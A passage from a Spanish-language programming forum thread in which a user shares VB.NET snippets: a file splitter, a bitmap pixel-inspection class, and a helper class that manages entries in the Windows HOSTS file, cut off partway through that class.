No te has pasado, has echo lo correcto (me refiero a corregir los fallos del código, aparte de tener que escuchar mi típico sermón xD)

Saludos


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 10 Agosto 2014, 13:40 pm
Como partir un archivo en pequeños trozos de cualuier tamaño (no hay limite de 2 GB).

Código
  1.    ' Split File
  2.    ' By Elektro
  3.    '
  4.    ' Example Usage:
  5.    ' SplitFile(InputFile:="C:\Test.mp3", ChunkSize:=(1024L ^ 2L), ChunkName:="Test.Part", ChunkExt:="mp3", Overwrite:=True)
  6.  
  7.    ''' <summary>
  8.    ''' Splits a file into chunks.
  9.    ''' </summary>
  10.    ''' <param name="InputFile">
  11.    ''' Indicates the input file to split.
  12.    ''' </param>
  13.    ''' <param name="ChunkSize">
  14.    ''' Indicates the size of each chunk.
  15.    ''' </param>
  16.    ''' <param name="ChunkName">
  17.    ''' Indicates the chunk filename format.
  18.    ''' Default format is: 'FileName.ChunkIndex.FileExt'
  19.    ''' </param>
  20.    ''' <param name="ChunkExt">
  21.    ''' Indicates the chunk file-extension.
  22.    ''' If this value is <c>Null</c>, the input file-extension will be used.
  23.    ''' </param>
  24.    ''' <param name="Overwrite">
  25.    ''' If set to <c>true</c>, chunk files will replace any existing file;
  26.    ''' Otherwise, an exception will be thrown.
  27.    ''' </param>
  28.    ''' <exception cref="System.OverflowException">'ChunkSize' should be smaller than the Filesize.</exception>
  29.    ''' <exception cref="System.IO.IOException"></exception>
  30.    Public Sub SplitFile(ByVal InputFile As String,
  31.                         ByVal ChunkSize As Long,
  32.                         Optional ByVal ChunkName As String = Nothing,
  33.                         Optional ByVal ChunkExt As String = Nothing,
  34.                         Optional ByVal Overwrite As Boolean = False)
  35.  
  36.        ' FileInfo instance of the input file.
  37.        Dim fInfo As New IO.FileInfo(InputFile)
  38.  
  39.        ' The buffer to read data and write the chunks.
  40.        Dim Buffer As Byte() = New Byte() {}
  41.  
  42.        ' The buffer length.
  43.        Dim BufferSize As Integer = 1048576 ' 1048576 = 1 mb | 33554432 = 32 mb | 67108864 = 64 mb
  44.  
  45.        ' Counts the length of the current chunk file.
  46.        Dim BytesWritten As Long = 0L
  47.  
  48.        ' The total amount of chunks to create.
  49.        Dim ChunkCount As Integer = CInt(Math.Floor(fInfo.Length / ChunkSize))
  50.  
  51.        ' Keeps track of the current chunk.
  52.        Dim ChunkIndex As Integer = 0I
  53.  
  54.        ' A zero-filled string to enumerate the chunk files.
  55.        Dim Zeros As String = String.Empty
  56.  
  57.        ' The given filename for each chunk.
  58.        Dim ChunkFile As String = String.Empty
  59.  
  60.        ' The chunk file basename.
  61.        ChunkName = If(String.IsNullOrEmpty(ChunkName),
  62.                       IO.Path.Combine(fInfo.DirectoryName, IO.Path.GetFileNameWithoutExtension(fInfo.Name)),
  63.                       IO.Path.Combine(fInfo.DirectoryName, ChunkName))
  64.  
  65.        ' The chunk file extension.
  66.        ChunkExt = If(String.IsNullOrEmpty(ChunkExt),
  67.                      fInfo.Extension.Substring(1I),
  68.                      ChunkExt)
  69.  
  70.        ' If ChunkSize is bigger than filesize then...
  71.        If ChunkSize >= fInfo.Length Then
  72.            Throw New OverflowException("'ChunkSize' should be smaller than the Filesize.")
  73.            Exit Sub
  74.  
  75.            ' For cases where a chunksize is smaller than the buffersize.
  76.        ElseIf ChunkSize < BufferSize Then
  77.            BufferSize = CInt(ChunkSize)
  78.  
  79.        End If ' ChunkSize <>...
  80.  
  81.        ' If not file-overwritting is allowed then...
  82.        If Not Overwrite Then
  83.  
  84.            For Index As Integer = 0I To (ChunkCount)
  85.  
  86.                ' Set chunk filename.
  87.                Zeros = New String("0", CStr(ChunkCount).Length - CStr(Index + 1I).Length)
  88.                ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(Index + 1I), ChunkExt)
  89.  
  90.                ' If chunk file already exists then...
  91.                If IO.File.Exists(ChunkFile) Then
  92.  
  93.                    Throw New IO.IOException(String.Format("File already exist: {0}", ChunkFile))
  94.                    Exit Sub
  95.  
  96.                End If ' IO.File.Exists(ChunkFile)
  97.  
  98.            Next Index
  99.  
  100.            Zeros = String.Empty
  101.            ChunkFile = String.Empty
  102.  
  103.        End If ' Overwrite
  104.  
  105.        ' Open the file to start reading bytes.
  106.        Using InputStream As New IO.FileStream(fInfo.FullName, IO.FileMode.Open)
  107.  
  108.            Using BinaryReader As New IO.BinaryReader(InputStream)
  109.  
  110.                While (InputStream.Position < InputStream.Length)
  111.  
  112.                    ' Set chunk filename.
  113.                    Zeros = New String("0", CStr(ChunkCount).Length - CStr(ChunkIndex + 1I).Length)
  114.                    ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(ChunkIndex + 1I), ChunkExt)
  115.  
  116.                    ' Reset written byte-length counter.
  117.                    BytesWritten = 0L
  118.  
  119.                    ' Create the chunk file to Write the bytes.
  120.                    Using OutputStream As New IO.FileStream(ChunkFile, IO.FileMode.Create)
  121.  
  122.                        Using BinaryWriter As New IO.BinaryWriter(OutputStream)
  123.  
  124.                            ' Read until reached the end-bytes of the input file.
  125.                            While (BytesWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
  126.  
  127.                                ' Read bytes from the original file (BufferSize byte-length).
  128.                                Buffer = BinaryReader.ReadBytes(BufferSize)
  129.  
  130.                                ' Write those bytes in the chunk file.
  131.                                BinaryWriter.Write(Buffer)
  132.  
  133.                                ' Increment the size counter.
  134.                                BytesWritten += Buffer.Count
  135.  
  136.                            End While ' (BytesWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
  137.  
  138.                            OutputStream.Flush()
  139.  
  140.                        End Using ' BinaryWriter
  141.  
  142.                    End Using ' OutputStream
  143.  
  144.                    ChunkIndex += 1I 'Increment file counter
  145.  
  146.                End While ' InputStream.Position < InputStream.Length
  147.  
  148.            End Using ' BinaryReader
  149.  
  150.        End Using ' InputStream
  151.  
  152.    End Sub


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Agosto 2014, 18:46 pm
una Helper-Class para procesar los pixeles de una imagen, buscar un color especifico y devolver las coordenadas, obtener un rango de píxeles, etc.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 07-11-2014
  4. ' ***********************************************************************
  5. ' <copyright file="PixelUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12.  
  13. ' **************************************************
  14. ' Count the number of Pixels that contains the image
  15. ' **************************************************
  16. '
  17. '' Create a new bitmap.
  18. 'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
  19. '
  20. '' Instance a PixelUtil Class.
  21. 'Dim bmpPixelUtil As New PixelUtil(bmp)
  22. '
  23. '' Display the pixel count.
  24. 'MessageBox.Show(String.Format("Total amount of Pixels: {0}", CStr(bmpPixelUtil.PixelCount)))
  25.  
  26.  
  27. ' ************************************************
  28. ' Searchs for an specific pixel color in the image
  29. ' ************************************************
  30. '
  31. '' Create a new bitmap.
  32. 'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
  33. '
  34. '' Instance a PixelUtil Class.
  35. 'Dim bmpPixelUtil As New PixelUtil(bmp)
  36. '
  37. '' Specify the RGB PixelColor to search.
  38. 'Dim FindColor As Color = Color.FromArgb(255, 174, 201)
  39. '
  40. '' Get the pixel data.
  41. 'Dim FoundPixels As List(Of PixelUtil.PixelData) = bmpPixelUtil.SearchColor(FindColor)
  42. '
  43. '' Loop through each pixel.
  44. 'For Each Pixel As PixelUtil.PixelData In FoundPixels
  45. '
  46. '    Dim sb As New System.Text.StringBuilder
  47. '    With sb
  48. '
  49. '        .AppendLine(String.Format("Index: {0}", CStr(Pixel.Index)))
  50. '        .AppendLine(String.Format("Coord: {0}", Pixel.Coordinates.ToString))
  51. '
  52. '        MessageBox.Show(.ToString, "Pixel-Color Search")
  53. '
  54. '        .Clear()
  55. '
  56. '    End With
  57. '
  58. 'Next Pixel
  59.  
  60.  
  61. ' *********************************************************************
  62. ' Retrieve the index, color, and coordinates of each pixel in the image
  63. ' *********************************************************************
  64. '
  65. '' Create a new bitmap.
  66. 'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
  67. '
  68. '' Instance a PixelUtil Class.
  69. 'Dim bmpPixelUtil As New PixelUtil(bmp)
  70. '
  71. '' Get the pixel data.
  72. 'Dim Pixels As List(Of PixelUtil.PixelData) = bmpPixelUtil.GetPixelData()
  73. '
  74. '' Loop through each pixel.
  75. 'For Each Pixel As PixelUtil.PixelData In Pixels
  76. '
  77. '    Dim sb As New System.Text.StringBuilder
  78. '    With sb
  79. '
  80. '        .AppendLine(String.Format("Index: {0}", CStr(Pixel.Index)))
  81. '        .AppendLine(String.Format("Color: {0}", Pixel.Color.ToString))
  82. '        .AppendLine(String.Format("Coord: {0}", Pixel.Coordinates.ToString))
  83. '
  84. '        MessageBox.Show(.ToString, "Pixel Search")
  85. '
  86. '        .Clear()
  87. '
  88. '    End With
  89. '
  90. 'Next Pixel
  91.  
  92.  
  93. ' ****************************************************************************
  94. ' Retrieve the index, color, and coordinates of a range of pixels in the image
  95. ' ****************************************************************************
  96. '
  97. '' Create a new bitmap.
  98. 'Dim bmp As Bitmap = Bitmap.FromFile("C:\DesktopScreenshot.bmp", False)
  99. '
  100. '' Instance a PixelUtil Class.
  101. 'Dim bmpPixelUtil As New PixelUtil(bmp)
  102. '
  103. '' Specify the pixel range to retrieve.
  104. 'Dim RangeMin As Integer = 1919I
  105. 'Dim RangeMax As Integer = 1921I
  106. '
  107. '' Get the pixel data.
  108. 'Dim FoundPixels As List(Of PixelUtil.PixelData) = bmpPixelUtil.GetPixelData(RangeMin, RangeMax)
  109. '
  110. '' Loop through each pixel.
  111. 'For Each Pixel As PixelUtil.PixelData In FoundPixels
  112. '
  113. '    Dim sb As New System.Text.StringBuilder
  114. '    With sb
  115. '
  116. '        .AppendLine(String.Format("Index: {0}", CStr(Pixel.Index)))
  117. '        .AppendLine(String.Format("Color: {0}", Pixel.Color.ToString))
  118. '        .AppendLine(String.Format("Coord: {0}", Pixel.Coordinates.ToString))
  119. '
  120. '        MessageBox.Show(.ToString, "Pixel-Color Search")
  121. '
  122. '        .Clear()
  123. '
  124. '    End With
  125. '
  126. 'Next Pixel
  127.  
  128.  
  129. #End Region
  130.  
  131. #Region " Imports "
  132.  
  133. Imports System.ComponentModel
  134. Imports System.Drawing.Imaging
  135. Imports System.Runtime.InteropServices
  136.  
  137. #End Region
  138.  
  139. #Region " PixelUtil "
  140.  
  141. Public Class PixelUtil
  142.  
  143. #Region " Vars, Properties "
  144.  
  145.    Private _PixelData As List(Of PixelData) = Nothing
  146.    Private _bmp As Bitmap = Nothing
  147.    Private _PixelCount As Integer = Nothing
  148.  
  149.    ''' <summary>
  150.    ''' Gets the Bitmap object.
  151.    ''' </summary>
  152.    ''' <value>The BMP.</value>
  153.    Public ReadOnly Property bmp As Bitmap
  154.        Get
  155.            Return Me._bmp
  156.        End Get
  157.    End Property
  158.  
  159.    ''' <summary>
  160.    ''' Gets the total amount of pixels that contains the Bitmap.
  161.    ''' </summary>
  162.    ''' <value>The pixel count.</value>
  163.    Public ReadOnly Property PixelCount As Integer
  164.        Get
  165.            Return Me._PixelCount
  166.        End Get
  167.    End Property
  168.  
  169. #End Region
  170.  
  171. #Region " Classes "
  172.  
  173.    ''' <summary>
  174.    ''' Stores specific pixel information of an image.
  175.    ''' </summary>
  176.    Public Class PixelData
  177.  
  178.        ''' <summary>
  179.        ''' Gets or sets the pixel index.
  180.        ''' </summary>
  181.        ''' <value>The pixel index.</value>
  182.        Public Property Index As Integer
  183.  
  184.        ''' <summary>
  185.        ''' Gets or sets the pixel color.
  186.        ''' </summary>
  187.        ''' <value>The pixel color.</value>
  188.        Public Property Color As Color
  189.  
  190.        ''' <summary>
  191.        ''' Gets or sets the pixel coordinates relative to the image.
  192.        ''' </summary>
  193.        ''' <value>The pixel coordinates.</value>
  194.        Public Property Coordinates As Point
  195.  
  196.    End Class
  197.  
  198. #End Region
  199.  
  200. #Region " Constructors "
  201.  
  202.    ''' <summary>
  203.    ''' Prevents a default instance of the <see cref="PixelUtil"/> class from being created.
  204.    ''' </summary>
  205.    Private Sub New()
  206.    End Sub
  207.  
  208.    ''' <summary>
  209.    ''' Initializes a new instance of the <see cref="PixelUtil"/> class.
  210.    ''' </summary>
  211.    ''' <param name="bmp">Indicates the Bitmap image to process it's pixels.</param>
  212.    ''' <exception cref="System.Exception">PixelFormat unsupported.</exception>
  213.    Public Sub New(ByVal bmp As Bitmap)
  214.  
  215.        If Not bmp.PixelFormat = PixelFormat.Format24bppRgb Then
  216.            Throw New Exception("PixelFormat unsupported.")
  217.        End If
  218.  
  219.        Me._bmp = bmp
  220.        Me._PixelCount = Me.[Count]
  221.  
  222.    End Sub
  223.  
  224. #End Region
  225.  
  226. #Region " Public Methods "
  227.  
  228.    ''' <summary>
  229.    ''' Returns a <c>'PixelData'</c> object containing information about each pixel in the image.
  230.    ''' </summary>
  231.    ''' <returns>List(Of PixelData).</returns>
  232.    Public Function GetPixelData() As List(Of PixelData)
  233.  
  234.        If Me._PixelData Is Nothing Then
  235.  
  236.            Me._PixelData = New List(Of PixelData)
  237.  
  238.            ' Lock the Bitmap bits.
  239.            Dim bmpRect As New Rectangle(0, 0, Me._bmp.Width, Me._bmp.Height)
  240.            Dim bmpData As BitmapData = Me._bmp.LockBits(bmpRect, ImageLockMode.ReadWrite, Me._bmp.PixelFormat)
  241.  
  242.            ' Get the address of the first line.
  243.            Dim Pointer As IntPtr = bmpData.Scan0
  244.  
  245.            ' Hold the bytes of the bitmap into a Byte-Array.
  246.            ' NOTE: This code is specific to a bitmap with 24 bits per pixels.
  247.            Dim bmpBytes As Integer = (Math.Abs(bmpData.Stride) * bmpRect.Height)
  248.            Dim rgbData(bmpBytes - 1) As Byte
  249.  
  250.            ' Copy the RGB values into the array.
  251.            Marshal.Copy(Pointer, rgbData, 0, bmpBytes)
  252.  
  253.            ' Unlock the Bitmap bits.
  254.            Me._bmp.UnlockBits(bmpData)
  255.  
  256.            ' Loop through each 24bpp-RGB value.
  257.            For rgbIndex As Integer = 2 To rgbData.Length - 1 Step 3
  258.  
  259.                ' Set the pixel Data.
  260.                Dim Pixel As New PixelData
  261.  
  262.                With Pixel
  263.  
  264.                    .Index = rgbIndex \ 3I
  265.  
  266.                    .Color = Color.FromArgb(red:=rgbData(rgbIndex),
  267.                                            green:=rgbData(rgbIndex - 1I),
  268.                                            blue:=rgbData(rgbIndex - 2I))
  269.  
  270.                    .Coordinates = New Point(X:=(.Index Mod bmpRect.Width),
  271.                                             Y:=(.Index - (.Index Mod bmpRect.Width)) \ bmpRect.Width)
  272.  
  273.                End With
  274.  
  275.                ' Add the PixelData into the list.
  276.                Me._PixelData.Add(Pixel)
  277.  
  278.            Next rgbIndex
  279.  
  280.        End If
  281.  
  282.        Return Me._PixelData
  283.  
  284.    End Function
  285.  
  286.    ''' <summary>
  287.    ''' Returns a <c>'PixelData'</c> object containing information about a range of pixels in the image.
  288.    ''' </summary>
  289.    ''' <returns>List(Of PixelData).</returns>
  290.    ''' <exception cref="System.Exception">Pixel index is out of range</exception>
  291.    Public Function GetPixelData(ByVal RangeMin As Integer,
  292.                                 ByVal RangeMax As Integer) As List(Of PixelData)
  293.  
  294.        If Not (Me._PixelCount >= RangeMin AndAlso Me._PixelCount <= RangeMax) Then
  295.            Throw New Exception("Pixel index is out of range.")
  296.            Return Nothing
  297.        End If
  298.  
  299.        ' Return the Pixel range.
  300.        Return (From Pixel As PixelData In Me.GetPixelData()
  301.                Where (Pixel.Index >= RangeMin AndAlso Pixel.Index <= RangeMax)).ToList
  302.  
  303.    End Function
  304.  
  305.    ''' <summary>
  306.    ''' Searchs for the specified pixel-color inside the image and returns all the matches.
  307.    ''' </summary>
  308.    ''' <param name="PixelColor">Indicates the color to find.</param>
  309.    ''' <returns>List(Of PixelData).</returns>
  310.    Public Function SearchColor(ByVal PixelColor As Color) As List(Of PixelData)
  311.  
  312.        Return (From Pixel As PixelData In Me.GetPixelData
  313.                Where Pixel.Color = PixelColor).ToList
  314.  
  315.    End Function
  316.  
  317. #End Region
  318.  
  319. #Region " Private Methods "
  320.  
  321.    ''' <summary>
  322.    ''' Counts the number of pixels that contains the image.
  323.    ''' </summary>
  324.    ''' <returns>The number of pixels.</returns>
  325.    Private Function [Count]() As Integer
  326.  
  327.        ' Lock the Bitmap bits.
  328.        Dim bmpRect As New Rectangle(0, 0, Me._bmp.Width, Me._bmp.Height)
  329.        Dim bmpData As BitmapData = Me._bmp.LockBits(bmpRect, ImageLockMode.ReadWrite, Me._bmp.PixelFormat)
  330.  
  331.        ' Get the address of the first line.
  332.        Dim Pointer As IntPtr = bmpData.Scan0
  333.  
  334.        ' Hold the bytes of the bitmap into a Byte-Array.
  335.        ' NOTE: This code is specific to a bitmap with 24 bits per pixels.
  336.        Dim bmpBytes As Integer = (Math.Abs(bmpData.Stride) * bmpRect.Height)
  337.        Dim rgbData(bmpBytes - 1) As Byte
  338.  
  339.        ' Copy the RGB values into the array.
  340.        Marshal.Copy(Pointer, rgbData, 0, bmpBytes)
  341.  
  342.        ' Unlock the Bitmap bits.
  343.        Me._bmp.UnlockBits(bmpData)
  344.  
  345.        Return rgbData.Count
  346.  
  347.    End Function
  348.  
  349. #End Region
  350.  
  351. #Region " Hidden Methods "
  352.  
  353.    ''' <summary>
  354.    ''' Serves as a hash function for a particular type.
  355.    ''' </summary>
  356.    <EditorBrowsable(EditorBrowsableState.Never)>
  357.    Public Shadows Sub GetHashCode()
  358.    End Sub
  359.  
  360.    ''' <summary>
  361.    ''' Determines whether the specified System.Object is equal to the current System.Object.
  362.    ''' </summary>
  363.    <EditorBrowsable(EditorBrowsableState.Never)>
  364.    Public Shadows Sub Equals()
  365.    End Sub
  366.  
  367.    ''' <summary>
  368.    ''' Returns a String that represents the current object.
  369.    ''' </summary>
  370.    <EditorBrowsable(EditorBrowsableState.Never)>
  371.    Public Shadows Sub ToString()
  372.    End Sub
  373.  
  374. #End Region
  375.  
  376. End Class
  377.  
  378. #End Region
  379.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 11 Agosto 2014, 18:47 pm
Una helper-class para administrar el contenido del archivo HOSTS de Windows:

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 08-11-2014
  4. ' ***********************************************************************
  5. ' <copyright file="HostsFile.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Public Class HostsFileTestClass
  13. '
  14. '    Private Sub HostsFileTestHandler() Handles MyBase.Shown
  15. '
  16. '        ' Instance the HostsFile Class.
  17. '        Dim Hosts As New HostsFile()
  18. '
  19. '        ' Set a new mapping.
  20. '        Dim Mapping As New HostsFile.MappingInfo
  21. '        With Mapping
  22. '            .HostName = "cuantodanio.es"
  23. '            .IP = Hosts.LOCALHOST ' "127.0.0.1"
  24. '            .Comment = "Test mapping comment."
  25. '        End With
  26. '
  27. '        With Hosts
  28. '
  29. '            ' Delete the Host file.
  30. '            If .FileExists Then
  31. '                .FileDelete()
  32. '            End If
  33. '
  34. '            ' Create a new one Hosts file.
  35. '            .FileCreate()
  36. '
  37. '            ' Add some new mappings.
  38. '            .Add(Mapping)
  39. '            .Add(HostName:="www.youtube.com", IP:=.LOCALHOST, Comment:="Test mapping comment")
  40. '
  41. '            ' Check whether a mapping exists.
  42. '            If .IsMapped(Mapping) Then
  43. '                ' Disable the mapping.
  44. '                .Disable(Mapping)
  45. '            End If
  46. '
  47. '            ' Check whether an existing mapping is disabled.
  48. '            If .IsDisabled("www.youtube.com") Then
  49. '                ' Remove the mapping.
  50. '                .Remove("www.youtube.com")
  51. '            End If
  52. '
  53. '            ' Open the HOSTS file with the specified text-editor.
  54. '            .FileOpen("C:\Program Files\Sublime Text\sublime_text.exe")
  55. '
  56. '        End With
  57. '
  58. '        ' Get the IP of a mapped Hostname.
  59. '        MessageBox.Show("cuantodanio.es: " & Hosts.GetMappingFromHostname("cuantodanio.es").IP)
  60. '
  61. '        ' Get all the hostname mappings
  62. '        Dim Mappings As List(Of HostsFile.MappingInfo) = Hosts.GetMappings()
  63. '        For Each MappingInfo As HostsFile.MappingInfo In Mappings
  64. '
  65. '            Dim sb As New System.Text.StringBuilder
  66. '            With sb
  67. '                .AppendLine(String.Format("Hostname...: {0}", MappingInfo.HostName))
  68. '                .AppendLine(String.Format("IP Address.: {0}", MappingInfo.IP))
  69. '                .AppendLine(String.Format("Comment....: {0}", MappingInfo.Comment))
  70. '                .AppendLine(String.Format("Is Enabled?: {0}", Not MappingInfo.IsDisabled))
  71. '            End With
  72. '
  73. '            MessageBox.Show(sb.ToString, "HostsFile Mappings", MessageBoxButtons.OK, MessageBoxIcon.Information)
  74. '
  75. '        Next MappingInfo
  76. '
  77. '        ' Get all the hostname mappings that matches an ip address
  78. '        Dim MappingMatches As List(Of HostsFile.MappingInfo) = Hosts.GetMappingsFromIP(Hosts.LOCALHOST)
  79. '
  80. '    End Sub
  81. '
  82. 'End Class
  83.  
  84. #End Region
  85.  
  86. #Region " Imports "
  87.  
  88. Imports System.IO
  89. Imports System.Net
  90. Imports System.Text
  91.  
  92. #End Region
  93.  
  94. #Region " Hosts File "
  95.  
  96. ''' <summary>
  97. ''' Manages the Windows HOSTS file to map Hostnames to IP addresses.
  98. ''' </summary>
  99. Public Class HostsFile
  100.  
  101. #Region " Constructors "
  102.  
  103.    ''' <summary>
  104.    ''' Initializes a new instance of the <see cref="HostsFile"/> class.
  105.    ''' </summary>
  106.    ''' <param name="HOSTSLocation">
  107.    ''' Optionaly indicates a custom Hosts file location.
  108.    ''' Default value is 'X:\Windows\System32\Drivers\etc\hosts'.
  109.    ''' </param>
  110.    Public Sub New(Optional ByVal HOSTSLocation As String = Nothing)
  111.  
  112.        If Not String.IsNullOrEmpty(HOSTSLocation) Then
  113.            Me._HOSTSLocation = HOSTSLocation
  114.        End If
  115.  
  116.    End Sub
  117.  
  118.    ''' <summary>
  119.    ''' Prevents a default instance of the <see cref="HostsFile"/> class from being created.
  120.    ''' </summary>
  121.    Private Sub New()
  122.    End Sub
  123.  
  124. #End Region
  125.  
  126. #Region " Properties "
  127.  
  128.    ''' <summary>
  129.    ''' The Hosts file location.
  130.    ''' </summary>
  131.    ''' <value>The Hosts file location.</value>
  132.    Public ReadOnly Property HOSTSLocation As String
  133.        Get
  134.            Return _HOSTSLocation
  135.        End Get
  136.    End Property
  137.    Private SysDir As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
  138.    Private _HOSTSLocation As String = Path.Combine(SysDir, "Drivers\etc\hosts")
  139.  
  140.    ''' <summary>
  141.    ''' The Hosts file encoding.
  142.    ''' The encoding must be <see cref="Encoding.Default"/> (ANSI) or <see cref="Encoding.UTF8"/> (UTF-8 without BOM),
  143.    ''' otherwise the entries will be ignored by Windows.
  144.    ''' </summary>
  145.    ''' <value>The Hosts file encoding.</value>
  146.    Public Property HOSTSEncoding As Encoding
  147.        Get
  148.            Return _HOSTSEncoding
  149.        End Get
  150.        Set(ByVal value As Encoding)
  151.            Me._HOSTSEncoding = value
  152.        End Set
  153.    End Property
  154.    Private _HOSTSEncoding As Encoding = Encoding.Default
  155.  
  156.    ''' <summary>
  157.    ''' Gets or sets the default 'LocalHost' IP address.
  158.    ''' In most computers the default address is '127.0.0.1'.
  159.    ''' </summary>
  160.    ''' <value>The default LocalHost.</value>
  161.    Public Property LOCALHOST As String
  162.        Get
  163.            Return Me._LOCALHOST
  164.        End Get
  165.        Set(ByVal value As String)
  166.            Me._LOCALHOST = value
  167.        End Set
  168.    End Property
  169.    Private _LOCALHOST As String = "127.0.0.1"
  170.  
  171.    ''' <summary>
  172.    ''' Gets the default Hosts file header.
  173.    ''' </summary>
  174.    Private ReadOnly HostsHeader As String =
  175. <a><![CDATA[
  176. # Copyright (c) 1993-2009 Microsoft Corp.
  177. #
  178. # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
  179. #
  180. # This file contains the mappings of IP addresses to host names. Each
  181. # entry should be kept on an individual line. The IP address should
  182. # be placed in the first column followed by the corresponding host name.
  183. # The IP address and the host name should be separated by at least one
  184. # space.
  185. ]]></a>.Value
  186.  
  187. #End Region
  188.  
  189. #Region " Types "
  190.  
  191. #Region " MappingInfo "
  192.  
  193.    ''' <summary>
  194.    ''' Specifies info of a HOSTS file mapping.
  195.    ''' </summary>
  196.    Public Class MappingInfo
  197.  
  198.        ''' <summary>
  199.        ''' Gets or sets the hostname.
  200.        ''' </summary>
  201.        ''' <value>The hostname.</value>
  202.        Public Property HostName As String
  203.  
  204.        ''' <summary>
  205.        ''' Gets or sets the IP address.
  206.        ''' </summary>
  207.        ''' <value>The IP address.</value>
  208.        Public Property IP As String
  209.  
  210.        ''' <summary>
  211.        ''' Gets or sets the mapping comment.
  212.        ''' </summary>
  213.        ''' <value>The mapping comment.</value>
  214.        Public Property Comment As String
  215.  
  216.        ''' <summary>
  217.        ''' This value is reserved.
  218.        ''' Gets a value indicating whether the mapping is disabled in the HOSTS file.
  219.        ''' </summary>
  220.        ''' <value><c>true</c> if the mapping is disabled, <c>false</c> otherwise.</value>
  221.        Public Property IsDisabled As Boolean
  222.  
  223.    End Class
  224.  
  225. #End Region
  226.  
  227. #End Region
  228.  
  229. #Region " Public Methods "
  230.  
  231.    ''' <summary>
  232.    ''' Adds a new mapping.
  233.    ''' </summary>
  234.    ''' <param name="HostName">Indicates the Hostname.</param>
  235.    ''' <param name="IP">Indicates the IP address.</param>
  236.    ''' <param name="Comment">Indicates a comment for this mapping.</param>
  237.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  238.    ''' <exception cref="System.FormatException">Invalid IP adress.</exception>
  239.    ''' <exception cref="System.Exception">Hostname is already mapped.</exception>
  240.    Public Sub Add(ByVal HostName As String,
  241.                   ByVal IP As String,
  242.                   Optional ByVal Comment As String = Nothing)
  243.  
  244.        If Not Me.FileExists() Then ' Hosts file does not exists.
  245.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  246.  
  247.        ElseIf Not Me.ValidateIP(IP) Then ' Invalid IP address.
  248.            Throw New FormatException(String.Format("Address: '{0}' is not a valid IP adress.", IP))
  249.  
  250.        ElseIf Me.IsMapped(HostName) Then ' Hostname is already mapped.
  251.            Throw New Exception(String.Format("Hostname '{0}' is already mapped.", HostName))
  252.  
  253.        Else ' Add the entry.
  254.  
  255.            ' Fix value spacing.
  256.            Dim EntryFormat As String =
  257.                IP & HostName.Insert(0I, ControlChars.Tab) &
  258.                If(Not String.IsNullOrEmpty(Comment),
  259.                   Comment.Insert(0I, ControlChars.Tab & "#"c),
  260.                   String.Empty)
  261.  
  262.            ' Write the mapping.
  263.            File.AppendAllText(Me._HOSTSLocation, Environment.NewLine & EntryFormat, Me._HOSTSEncoding)
  264.  
  265.        End If
  266.  
  267.    End Sub
  268.  
  269.    ''' <summary>
  270.    ''' Adds a new mapping.
  271.    ''' </summary>
  272.    ''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
  273.    Public Sub Add(ByVal MappingInfo As MappingInfo)
  274.  
  275.        Me.Add(MappingInfo.HostName, MappingInfo.IP, MappingInfo.Comment)
  276.  
  277.    End Sub
  278.  
  279.    ''' <summary>
  280.    ''' Disables an existing mapping.
  281.    ''' </summary>
  282.    ''' <param name="HostName">Indicates the Hostname.</param>
  283.    ''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
  284.    ''' <exception cref="System.Exception">Hostname is not mapped.</exception>
  285.    ''' <exception cref="System.Exception">Hostname is already disabled.</exception>
  286.    Public Sub Disable(ByVal HostName As String)
  287.  
  288.        If Not Me.FileExists() Then ' Hosts file does not exists.
  289.            Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
  290.  
  291.        ElseIf Not Me.IsMapped(HostName) Then ' Hostname is not mapped.
  292.            Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", HostName))
  293.  
  294.        ElseIf Me.IsDisabled(HostName) Then ' Hostname is already disabled.
  295.            Throw New Exception(String.Format("Hostname: '{0}' is already disabled.", HostName))
  296.  
  297.        Else ' Disable the mapping.
  298.  
  299.            ' Retrieve the HOSTS file content.
  300.            Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
  301.  
  302.            ' Iterate the mappings.
  303.            For X As Integer = 0I To (Hosts.Count - 1I)
  304.  
  305.                If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
  306.  
  307.                    ' Retrieve the HostName of this mapping.
  308.                    Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
  309.  
  310.                    If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
  311.  
  312.                        ' Disable the mapping.
  313.                        Hosts(X) = Hosts(X).Insert(0I, "#"c)
  314.                        Exit For
  315.  
  316.                    End If ' Host.Equals(...)
  317.  
  318.                End If ' Not String.IsNullOrEmpty(Hosts(X))...
  319.  
  320.            Next X
  321.  
  322.            File.WriteAllLines(Me._HOSTSLocation, Hosts, Me._HOSTSEncoding)
  323.  
  324.        End If
  325.  
  326.    End Sub
  327.  
  328.    ''' <summary>
  329.    ''' Disables an existing mapping.
